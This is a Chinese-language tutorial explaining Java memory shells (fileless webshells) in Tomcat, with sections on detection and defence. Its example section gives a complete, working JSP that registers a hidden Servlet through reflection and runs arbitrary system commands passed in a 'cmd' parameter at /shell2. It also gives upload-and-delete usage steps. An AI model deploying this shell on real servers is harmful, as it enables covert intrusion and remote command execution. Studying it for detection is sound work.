小白教学——超级简明易懂教你内存马是什么
字数 1493 2025-08-29 08:30:12
内存马技术详解
一、内存马概述
内存马(Memory Shell)是一种驻留在服务器内存中的恶意程序,与传统webshell(落地马)相比具有以下特点:
- 无文件驻留:不依赖磁盘上的具体文件(如.jsp或.php文件)
- 隐蔽性强:常规webshell查杀工具难以检测
- 临时性:存活于内存中,服务器重启后失效
- 动态注入:通常通过反射机制动态注册到容器中
二、内存马与传统webshell对比
| 特性 | 传统webshell | 内存马 |
|---|---|---|
| 存储位置 | 磁盘文件 | 内存 |
| 检测难度 | 较易(文件扫描) | 困难(需内存分析) |
| 持久性 | 永久(除非删除) | 临时(至服务器重启) |
| 注入方式 | 文件上传 | 反射/反序列化等 |
三、内存马实现原理
1. Java Web三大组件
内存马主要利用Java Web的三大组件实现:
- Servlet:处理HTTP请求的核心组件
- Filter:请求过滤组件
- Listener:事件监听组件
2. 关键技术
- 反射机制:绕过常规注册流程,动态修改容器配置
- Tomcat内部API:操作StandardContext等内部类
- 动态注册:运行时添加恶意组件
3. 典型注入流程(以Servlet内存马为例)
- 获取当前ServletContext
- 通过反射获取ApplicationContext
- 继续反射获取StandardContext
- 创建Wrapper并设置恶意Servlet
- 添加URL映射
四、内存马实例分析
示例代码解析
<%@ page import="java.io.*, java.util.*, org.apache.catalina.*, java.lang.reflect.*" %>
<%!
public class Shell2Servlet extends HttpServlet {
public void service(ServletRequest req, ServletResponse res) throws IOException {
// 执行系统命令
String cmd = req.getParameter("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
}
}
%>
<%
// 通过反射获取StandardContext
ServletContext servletContext = request.getServletContext();
Field appField = servletContext.getClass().getDeclaredField("context");
appField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext) appField.get(servletContext);
Field stdCtxField = appContext.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext ctx = (StandardContext) stdCtxField.get(appContext);
// 创建并注册恶意Servlet
Wrapper wrapper = ctx.createWrapper();
wrapper.setName("Shell2Servlet");
wrapper.setServletClass(Shell2Servlet.class.getName());
wrapper.setServlet(new Shell2Servlet());
ctx.addChild(wrapper);
// 添加URL映射
ctx.addServletMappingDecoded("/shell2", "Shell2Servlet", false);
%>
工作流程
- 上传包含上述代码的JSP文件并访问
- 代码执行后,恶意Servlet被注册到内存
- 可删除原始JSP文件
- 通过
/shell2?cmd=whoami等路径执行任意命令
五、内存马注入方式
- 文件上传+访问:先上传JSP文件再访问触发
- 反序列化漏洞:利用Java反序列化漏洞直接注入
- 框架漏洞:利用Spring等框架的RCE漏洞
- JNDI注入:通过JNDI引用远程恶意类
六、内存马检测与防御
检测方法
-
内存分析:
- 使用Arthas等工具dump内存
- 分析JVM加载的类
- 检查可疑的Servlet/Filter/Listener
-
日志分析:
- 检查访问不存在的URL路径
- 监控异常请求参数(如cmd=)
-
行为监控:
- 检测异常的Runtime.exec()调用
- 监控动态组件注册行为
防御措施
-
输入验证:
- 严格过滤文件上传内容
- 关闭不必要的上传功能
-
安全配置:
- 限制反射功能的使用
- 配置SecurityManager
-
运行时防护:
- 使用RASP(运行时应用自我保护)技术
- 部署内存马检测工具
-
容器加固:
- 定期更新中间件
- 删除不必要的默认应用
七、高级话题
1. Filter内存马
通过动态注册Filter实现请求拦截,比Servlet内存马更隐蔽
2. Listener内存马
利用事件监听机制实现持久化驻留
3. Spring内存马
针对Spring框架的特殊实现方式:
- 动态注册Controller
- 利用RequestMappingHandlerMapping
4. 无反射内存马
使用Java Instrumentation等机制实现,避免反射操作
八、总结
内存马作为一种高级攻击技术,具有极强的隐蔽性。防御内存马需要从开发、部署到运维的全生命周期安全措施。了解其原理和实现方式,有助于更好地防御此类威胁。
注意:本文仅用于安全研究和技术学习目的,请勿用于非法用途。